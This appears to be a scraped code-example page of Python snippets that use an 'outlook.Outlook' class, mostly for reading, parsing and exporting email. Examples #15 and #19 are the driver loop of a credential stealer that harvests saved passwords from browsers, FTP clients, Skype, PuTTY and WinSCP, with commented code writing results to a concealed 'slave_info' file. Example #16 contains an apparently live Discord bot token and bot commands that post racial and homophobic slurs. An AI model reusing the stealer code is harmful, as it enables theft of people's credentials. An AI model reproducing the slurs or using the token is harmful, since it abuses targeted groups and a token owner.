Пример #1
0
def list_mbx(email_id, email_pwd, module_logger):
    # Read messages after specified date
    mail = outlook.Outlook(module_logger)
    mail.login(email_id, email_pwd)
    mail.inbox()
    typ, data = mail.get_mailboxes()
    print('Response code:', typ)
    print('Response:', data)
    return True
Пример #2
0
 def create_csv(self):          
     mail = outlook.Outlook()
     mail.login(self.email,self.pwsd)
     mail.inbox()
     mail.readall()
     res = mail.stripRequestedMail()
     keys = res[0].keys()
     with open('/tmp/Email.csv', 'w+') as output_file:
         dict_writer = csv.DictWriter(output_file, keys)
         dict_writer.writeheader()
         dict_writer.writerows(res)
Пример #3
0
def test_uid(email_id, email_pwd, module_logger):

    mail = outlook.Outlook(module_logger)
    mail.login(email_id, email_pwd)
    mail.inbox()
    typ, data = mail.get_uids()
    print('test_uid: Response code:', typ)
    print('test_uid: Response:', data)

    unread_list = mail.unread_ids()
    print('test_uid: unread_list', unread_list)
    return True
Пример #4
0
def send_test_message(job_num):
    # To send Message :

    msg_recipient = '*****@*****.**'
    msg_subject = 'Job {job_num} - Job Name {job_num} - Failed'.format(
        job_num=job_num)
    msg_body = 'We the People of the United States, in Order to form a more perfect Union, ' \
               + 'establish Justice, insure domestic Tranquility, provide for the common ' \
               + 'defence,[note 1] promote the general Welfare, and secure the Blessings of ' \
               + 'Liberty to ourselves and our Posterity, do ordain and establish this ' \
               + 'Constitution for the United States of America.'

    mail = outlook.Outlook()
    mail.login(email_id, email_pwd)
    mail.sendEmail(msg_recipient, msg_subject, msg_body)
Пример #5
0
def downloadMailAttachment():
    mail = outlook.Outlook()
    mail.login(config.address, config.password)
    mail.inbox()
    mail.read()
    attachmentList = list()
    for Ids in mail.readIdsToday():
        mailContents = mail.getEmail(Ids)
        mailSubject = strParser.get_decoded_mail_contents(mail.mailsubject())
        if '주간식단' in mailSubject:
            # get attachmentList, first! check in menu directory if it's exists or not.
            # if it's not exists in, download attachment file!
            # if it's exists in, don't do that.
            attachmentList.clear()
            attachmentList = mail.getAttachmentList(strParser, mailContents)
            MunjiFlag, JunminFlag = IsExistsAttachment(attachmentList)
            saveAttachAlongFlag(mail, mailSubject, mailContents, MunjiFlag)
            saveAttachAlongFlag(mail, mailSubject, mailContents, JunminFlag)
Пример #6
0
 def __init__(self,
              email_addr,
              email_passwd,
              window_hours=24,
              folder_list=None,
              mailing_list=None,
              subject_pattern='',
              body_pattern='',
              filter_body=None):
     self.mail = outlook.Outlook()
     self.mail.login(email_addr, email_passwd)
     self.window_hours = window_hours
     self.window_days = (self.window_hours + self.window_hours % 24) / 24
     self.folder_list = folder_list
     self.mailing_list = mailing_list
     self.subject_pattern = subject_pattern
     self.body_pattern = body_pattern
     self.filter_body = filter_body
Пример #7
0
def find_last_received_xerox_id(email_id, password):
    mail = outlook.Outlook()
    noft = mail.login(email_id, password)

    email_id_list = list()
    xerox_counter = 0
    if noft == 0:
        mail.inbox()
        mail.select("Inbox")
        # Variable declations
        num_list = 0
        param_flag = 0
        sourceName = '\0'
        serNum = '\0'
        totImp = '\0'
        start_flag = 1
        xerox_dict = {}

        global last_xerox_mail_id

        list_id = mail.allIds()

        print(list_id)
        ## Assigning the number of iteration in excel file
        num_list = len(list_id)
        if list_id[0] == '':
            print "Inbox is empty..."
            #Print something on Second Display
        else:
            # Opening a file as excel format
            for i in range(len(list_id)):
                print list_id[i]
                print("Checking Email ID with " + list_id[i] + " ...")
                buff = open("buffer.txt", 'w')
                ## Creating Buffer file for email
                mail_buffer = mail.getEmail(list_id[i])
                buff.write('%s' % mail_buffer)
                buff.close()

                ## Now parse and save to excel file
                f = open("buffer.txt", 'r')

                while True:
                    try:
                        text = f.readline()
                        if text != '0':
                            if 'X-Xerox-Source-Name:' in text:
                                print text
                                field = text.split(":")
                                sourceName = field[1]
                                xerox_flag = 1
                                xerox_counter += 1

                            if 'System Serial Number:' in text:
                                print text
                                field = text.split(":")
                                serNum = field[1]

                            if 'Total Impressions:' in text:
                                print text
                                field = text.split(":")
                                totImp = field[1]
                                if xerox_flag == 1:
                                    param_flag = 1
                                    if start_flag == 1:
                                        xerox_dict[serNum] = list_id[i]
                                        print "Start flag is waved!!!!"
                                        start_flag = 0
                                    #email_id_list.append(list_id[i])
                                    else:
                                        if serNum in xerox_dict:
                                            xerox_dict[serNum] = list_id[i]
                                        else:
                                            xerox_dict[serNum] = list_id[i]

                                    #Search on the list if there is another SerNum.
                                    #if yes, update value
                                    #if not, declare it new one.
                                break
                            else:
                                ## Check it is the last line of text
                                if text == '':
                                    print "There are no Xerox Notification E-mails."
                                    break
                        else:
                            param_flag = 0
                            print("Email is empty \n")
                            break
                    except ValueError:
                        print("Error on email_id_search function...")
                f.close()
                try:
                    os.remove('buffer.txt')
                except OSError:
                    pass

                if param_flag == 1:

                    #Reset variable for the next operation
                    sourceName = '\0'
                    serNum = '\0'
                    totImp = '\0'
                    param_flag = 0
                    xerox_flag = 0

                #Delay for server side
                time.sleep(.200)
            print "Last Received Printer's Data:"
            print xerox_dict.items()
            last_xerox_mail_id = list(xerox_dict.values())
            print(last_xerox_mail_id)
    return [xerox_counter, noft]
Пример #8
0
def check_credentials():
    # To check Credentials:
    mail = outlook.Outlook()
    ret_val = mail.login(email_id, email_pwd)
    return ret_val
Пример #9
0
def read_latest_unread_junk(email_id, email_pwd, module_logger):
    # To get latest Unread Message in Junk :
    mail = outlook.Outlook(module_logger)
    mail.login(email_id, email_pwd)
    mail.junk()
    return mail.unread()
Пример #10
0
def check_credentials(email_id, email_pwd, module_logger):
    # To check Credentials
    mail = outlook.Outlook(module_logger)
    ret_val = mail.login(email_id, email_pwd)
    return ret_val
Пример #11
0
def read_after_date(msg_rcv_dt, email_id, email_pwd, module_logger):
    # Read messages after specified date
    mail = outlook.Outlook(module_logger)
    mail.login(email_id, email_pwd)
    mail.inbox()
    return mail.unread_after_date(msg_rcv_dt)
Пример #12
0
def read_latest_unread_inbox(email_id, email_pwd, module_logger):
    # get latest Unread Message in inbox :
    mail = outlook.Outlook(module_logger)
    mail.login(email_id, email_pwd)
    mail.inbox()
    return mail.unread()
Пример #13
0
 def __init__(self):
     mail = outlook.Outlook()
     mail.login(outlook_email, outlook_password)
     mail.readOnly('Inbox')
     self.mail = mail
Пример #14
0
def email_parser(email_id, password, enable_unread):
    # Main parameters declaration
    param_flag = 0
    xerox_flag = 0
    xerox_counter = 0
    sourceName = '\0'
    deviceName = '\0'
    delivery_date = '\0'
    ipAddr = '\0'
    sysMod = '\0'
    serNum = '\0'
    sysLoc = '\0'
    totImp = '\0'

    mail = outlook.Outlook()
    noft = mail.login(email_id, password)
    if noft == 0:
        mail.inbox()
        mail.select("Inbox")

        # Acquiring Time Value for the text name
        date = datetime.now().isoformat("-").split(".")[0].replace(":", "-")

        # Variable declations
        row = 0
        num = 1
        num_list = 0

        print mail.readIdsToday()

        if enable_unread == 1:
            list_id = mail.unreadIdsToday()
        else:
            list_id = mail.readIdsToday()
        ## Assigning the number of iteration in excel file
        num_list = len(list_id)
        if list_id[0] == '':
            print "Emails are already synced..."
            status_lbl.configure(text="Emails are already synced", fg='red')
        else:
            # Opening a file as excel format
            workbook = xlsxwriter.Workbook('XeroxLog_' + date + '.xlsx')
            worksheet = workbook.add_worksheet()
            for i in range(len(list_id)):
                print list_id[i]
                print("Checking Email ID with " + list_id[i] + " ...")
                buff = open("buffer.txt", 'w')
                ## Creating Buffer file for email
                mail_buffer = mail.getEmail(list_id[i])
                buff.write('%s' % mail_buffer)
                buff.close()

                ## Now parse and save to excel file
                f = open("buffer.txt", 'r')

                while True:
                    try:
                        text = f.readline()
                        if text != '0':
                            if 'X-Xerox-Source-Name:' in text:
                                print text
                                field = text.split(":")
                                sourceName = field[1]
                                param_flag = 1
                                xerox_flag = 1
                                xerox_counter += 1

                            if 'X-Xerox-DeviceName:' in text:
                                print text
                                field = text.split(":")
                                deviceName = field[1]
                                param_flag = 1

                            if 'Delivery-date:' in text:
                                print text
                                field = text.split(",")
                                delivery_date = field[1]
                                if xerox_flag == 1:
                                    param_flag = 1
                            if 'System Location:' in text:
                                print text
                                field = text.split(":")
                                sysLoc = field[1]
                                param_flag = 1

                            if 'IP address:' in text:
                                print text
                                field = text.split(":")
                                ipAddr = field[1]
                                param_flag = 1

                            if 'System Model:' in text:
                                print text
                                field = text.split(":")
                                sysMod = field[1]
                                param_flag = 1

                            if 'System Serial Number:' in text:
                                print text
                                field = text.split(":")
                                serNum = field[1]
                                param_flag = 1

                            if 'Total Impressions:' in text:
                                print text
                                field = text.split(":")
                                totImp = field[1]
                                param_flag = 1
                                break
                            else:
                                ## Check it is the last line of text
                                if text == '':
                                    print "There are no Xerox Notification E-mails."
                                    break
                        else:
                            param_flag = 0
                            print("Email is empty \n")
                            break
                    except ValueError:
                        print(
                            "Tanii hussen medeelel baihgui baina. Dahin oroldono uu..."
                        )
                f.close()
                try:
                    os.remove('buffer.txt')
                except OSError:
                    pass

                print('Now writing on Excel file...')
                # Assigning Parsed value into matrix
                # Checking parameter is available on the email with current ID
                if param_flag == 1:
                    dic = [
                        num, sourceName, deviceName, totImp, delivery_date,
                        ipAddr, sysMod, serNum, sysLoc
                    ]

                    if num == 1:
                        # Defining Headers of parameters
                        header = [
                            'Number', 'Source-Name', 'DeviceName',
                            'Total Impressions', 'Delivery-date', 'IP address',
                            'System Model', 'System Serial Number',
                            'System Location'
                        ]

                        # Printing headers with bold text
                        cell_format = workbook.add_format({
                            'bold': True,
                            'font_color': 'red'
                        })

                        col = 0
                        j = 1
                        #worksheet.set_column(0, 0, 3)
                        for j, t in enumerate(header):
                            worksheet.set_column(row + 1, col + j, 25)
                            worksheet.write(row, col + j, t, cell_format)
                            j += 1

                        col = 0
                        k = 0
                        for key in range(len(dic)):
                            value = dic[key]
                            #worksheet.set_column(row + 1, col + k, 25)
                            worksheet.write(row + 1, col + k, value)
                            k += 1

                        num = 2
                    else:
                        # Assigning Parsed data and declaring loop index
                        if num_list < num:
                            #break
                            print "All new mails are successfully saved to Excel file."
                        else:
                            col = 0
                            k = 0
                            for key in range(len(dic)):
                                value = dic[key]
                                #worksheet.set_column(row + 1, col + k, 25)
                                worksheet.write(row + 1, col + k, value)
                                k += 1
                            #break
                            num += 1
                    # Adding counter values

                    #Reset variable for the next operation
                    row += 1
                    sourceName = '\0'
                    deviceName = '\0'
                    delivery_date = '\0'
                    ipAddr = '\0'
                    sysMod = '\0'
                    serNum = '\0'
                    sysLoc = '\0'
                    totImp = '\0'
                    param_flag = 0
                    xerox_flag = 0

                #Delay for server side
                time.sleep(.200)

            workbook.close()
            print("Excel File is saved successfully...")
    return [xerox_counter, noft]
Пример #15
0
    def run(self):
        ret_list = []

        try:
            chrome_win = chrome.Chrome()
            ret_list.append("Chrome")
            ret_list.append(chrome_win.run())
        except:
            pass

        try:
            moz_illa = Mozilla.Mozilla()
            ret_list.append("Mozilla")
            ret_list.append(moz_illa.run())
        except:
            pass

        try:
            file_zilla = Filezilla.Filezilla()
            ret_list.append("Filezilla")
            ret_list.append(file_zilla.run())
        except:
            pass

        try:
            core_ftp = Coreftp.CoreFTP()
            ret_list.append("CoreFTP")
            ret_list.append(core_ftp.run())
        except:
            pass

        try:
            cyber_duck = cyberduck.Cyberduck()
            ret_list.append("Cyberduck")
            ret_list.append(cyber_duck.run())
        except:
            pass

        try:
            ftp_navigator = ftpnavigator.FtpNavigator()
            ret_list.append("FtpNavigator")
            ret_list.append(ftp_navigator.run())
        except:
            pass

        try:
            out_look = outlook.Outlook()
            ret_list.append("Outlook")
            ret_list.append(out_look.run())
        except:
            pass

        try:
            skype_ms = skype.Skype()
            ret_list.append("Skype")
            ret_list.append(skype_ms.run())
        except:
            pass

        try:
            d_net = dotnet.Dot_net()
            ret_list.append("DotNet")
            ret_list.append(d_net.run())
        except:
            pass

        try:
            net_work = network.Network()
            ret_list.append("Network")
            ret_list.append(net_work.run())
        except:
            pass

        try:
            putty_cm = putty.Putty()
            ret_list.append("Putty")
            ret_list.append(putty_cm.run())
        except:
            pass

        try:
            win_scp = winscp.WinSCP()
            ret_list.append("WinSCP")
            ret_list.append(win_scp.run())
        except:
            pass

        return ret_list


#tem = Result()
#slave_info = 'C:\Users\Public\Intel\Logs\info.txt'
#open_slave_info = open(slave_info, "w")
#open_slave_info.write(str(tem.run()) + "\n")
#open_slave_info.close()
Пример #16
0
import os
import discord
import aiohttp
import time
import websockets
import json
import outlook
import steamapi

description = "The Most Racist Bot in Discord."
bot = commands.Bot(command_prefix=">", description=description)
Token = 'Mjk3OTQ5MDk3ODk2MzEyODMy.C8IOUQ.LVscXkQ8z8wVMPSUg8qZWbnsAJM'

wrap = "```py\n{}\n```"

mail = outlook.Outlook()


@bot.command(pass_context=True)
async def hello(ctx):
    await bot.say("Hello you filthy f****t nigger " +
                  ctx.message.author.mention)


@bot.command(pass_context=True)
async def vape(ctx):
    await bot.say(
        "I'll be real with you f*****g faggots, I spent literally 20 f*****g minutes looking for stupid offensive f*g vape jokes. Only have 3."
    )
    await asyncio.sleep(1)
    await bot.say(random.choice(open('vape.txt').readlines()))
Пример #17
0
 def __init__(self, userName, passWord):
     self.mail = outlook.Outlook()
     self.userName = userName
     self.passWord = passWord
Пример #18
0
def read_after_date(msg_rcv_dt):
    # To get latest Unread Message in Junk :
    mail = outlook.Outlook()
    mail.login(email_id, email_pwd)
    mail.inbox()
    return mail.unreadIdsAfter(msg_rcv_dt)
Пример #19
0
    def run(self):
        print '[*] Running password finder'
        ret_list = []

        try:
            print '[*] Finding credentials in Chrome'
            chrome_win = chrome.Chrome()
            ret_list.append("Chrome")
            ret_list.append(chrome_win.run())
        except:
            pass

        try:
            print '[*] Finding credentials in Mozilla'
            moz_illa = Mozilla.Mozilla()
            ret_list.append("Mozilla")
            ret_list.append(moz_illa.run())
        except:
            pass

        try:
            print '[*] Finding Filezilla credentials'
            file_zilla = Filezilla.Filezilla()
            ret_list.append("Filezilla")
            ret_list.append(file_zilla.run())
        except:
            pass

        try:
            print '[*] Finding CoreFTP credentials'
            core_ftp = Coreftp.CoreFTP()
            ret_list.append("CoreFTP")
            ret_list.append(core_ftp.run())
        except:
            pass

        try:
            print '[*] Finding Cyberduck credentials'
            cyber_duck = cyberduck.Cyberduck()
            ret_list.append("Cyberduck")
            ret_list.append(cyber_duck.run())
        except:
            pass

        try:
            print '[*] Finding FtpNavigator credentials'
            ftp_navigator = ftpnavigator.FtpNavigator()
            ret_list.append("FtpNavigator")
            ret_list.append(ftp_navigator.run())
        except:
            pass

        try:
            print '[*] Finding Outlook credentials'
            out_look = outlook.Outlook()
            ret_list.append("Outlook")
            ret_list.append(out_look.run())
        except:
            pass

        try:
            print '[*] Finding Skype credentials'
            skype_ms = skype.Skype()
            ret_list.append("Skype")
            ret_list.append(skype_ms.run())
        except:
            pass

        try:
            print '[*] Finding DotNet credentials'
            d_net = dotnet.Dot_net()
            ret_list.append("DotNet")
            ret_list.append(d_net.run())
        except:
            pass

        try:
            print '[*] Finding Network credentials'
            net_work = network.Network()
            ret_list.append("Network")
            ret_list.append(net_work.run())
        except:
            pass

        try:
            print '[*] Finding Putty credentials'
            putty_cm = putty.Putty()
            ret_list.append("Putty")
            ret_list.append(putty_cm.run())
        except:
            pass

        try:
            print '[*] Finding WinSCP credentials'
            win_scp = winscp.WinSCP()
            ret_list.append("WinSCP")
            ret_list.append(win_scp.run())
        except:
            pass

        print '[*] Returning found passwords'
        return ret_list
Пример #20
0
    gi = geocoding.addrsToInfoList(al)
    for ind, e in enumerate(gi):
        coord = e['coord']
        ret += 'circle,%f,%f,%d,%s\n' % (coord[0], coord[1], 50, al[ind])
    return ret


if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(
            "Usage: mailhandler.py <filename>\n       mailhandler.py runserver"
        )
        sys.exit(0)
    if sys.argv[1] == 'runserver':
        SLEEP_TIME = 120
        m = outlook.Outlook()
        m.login(KEY.OSU_EMAIL, KEY.OSU_EMAIL_PWD)
        m.inbox()
        print('Mail client is watching. Press Ctrl+C to exit.')
        try:
            while True:
                unread_mail = m.unreadIds()
                if m.hasUnread():
                    for mailID in unread_mail:
                        print('Fetching unread email. ID:', mailID)
                        m.getEmail(mailID)
                        # ensure this is a mail from OSUEM
                        if m.mailfrom().find('emergencymanagement') >= 0:
                            print('Emergency message found. Start working...')
                            data = extractinfo.collectDataFromArticle(
                                m.mailbody())
Пример #21
0
def main():
    #user and password declared
    user = "******"
    password = "******"
    #account = jsonHelper.getAccount(user)

    #mail = gmail.Gmail()
    folder_name = "NonUnc"
    outlook_mail = outlook.Outlook()
    outlook_mail.login(user, password)
    outlook_mail.inbox()
    """
    unc = mL.init_lists('unc/')
    non_unc = mL.init_lists('non_unc/')
    
    unc_emails = [(email, 1) for email in unc]
    non_unc_emails = [(email, 0) for email in non_unc]
    all_emails = unc_emails + non_unc_emails
    random.shuffle(all_emails)
    
    all_features = [(mL.get_features(email, 'bow'), label) for (email, label) in all_emails]
    train_set, test_set, classifier = mL.train(all_features, 0.8)
    mL.evaluate(train_set, test_set, classifier)
    """

    ids = outlook_mail.allIds()
    count = 0

    i = outlook_mail.get_newest_mail()
    outlook_mail.move_to_folder(i, folder_name)

    for id_ in ids:
        break
        try:
            email_message = outlook_mail.getEmail(id_)
            email_body = outlook_mail.get_text_body(email_message)
            if (mL.spam_or_ham(email_body, classifier) == 1):
                outlook_mail.move_to_folder(id_, folder_name)
            count += 1
            progress(count)
        except Exception as e:
            print(id_)
            print(e)

    outlook_mail.close()
    outlook_mail.logout()
    """
    #get list of example spam and ham data
    spam = mL.init_lists('enron1/spam/')
    ham = mL.init_lists('enron1/ham/')

    # 1 if it's spam, 0 if it's ham
    spam_emails = [(email, 1) for email in spam]
    ham_emails = [(email, 0) for email in ham]
    all_emails = spam_emails + ham_emails

    random.shuffle(all_emails)
    
    for word in all_emails:
        print(word[1])
    
    #bow_model
    all_features = [(mL.get_features(email, 'bow'), label) for (email, label) in all_emails]
    

    #default_model
    #all_features = [(mL.get_features(email, ''), label) for (email, label) in all_emails]
    train_set, test_set, classifier = mL.train(all_features, 0.8)
    
    #mL.evaluate(train_set, test_set, classifier)
    """
    """